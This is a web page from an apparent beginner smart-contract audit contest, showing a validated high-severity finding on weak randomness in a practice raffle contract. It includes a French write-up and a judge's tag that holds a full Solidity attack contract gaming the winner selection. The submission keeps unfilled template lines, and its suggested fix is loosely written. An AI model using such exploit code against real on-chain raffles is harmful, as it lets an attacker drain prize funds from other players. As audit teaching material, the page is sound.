Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-3] Weak randomness in selectWinner() allows predicting/manipulating winner

maloblimbling

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
Ces valeurs sont toutes connues ou manipulables. Un mineur/validateur peut influencer block.timestamp et block.difficulty. Un utilisateur peut simuler le résultat et ne soumettre selectWinner() que s'il gagne.

Risk

Likelihood:

  • msg.sender, block.timestamp et block.difficulty sont connus ou manipulables.

  • N'importe qui peut simuler le résultat off-chain avant d'envoyer la transaction.

  • Aucun coût supplémentaire pour l'attaquant.

  • Le gagnant et la rareté du NFT sont prévisibles.

  • Un attaquant peut voler le prize pool et les NFTs rares.

  • Perte de confiance dans l'équité de la raffle.

Impact:

  • High

Proof of Concept

Décrire : un attaquant calcule off-chain le résultat de keccak256 avec les valeurs actuelles, et ne soumet selectWinner() que si le winnerIndex lui est favorable.

Recommended Mitigation

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Utiliser Chainlink VRF pour un aléa vérifiable on-chain
+ uint256 winnerIndex = vrfCoordinator.requestRandomWords(...);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 44 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!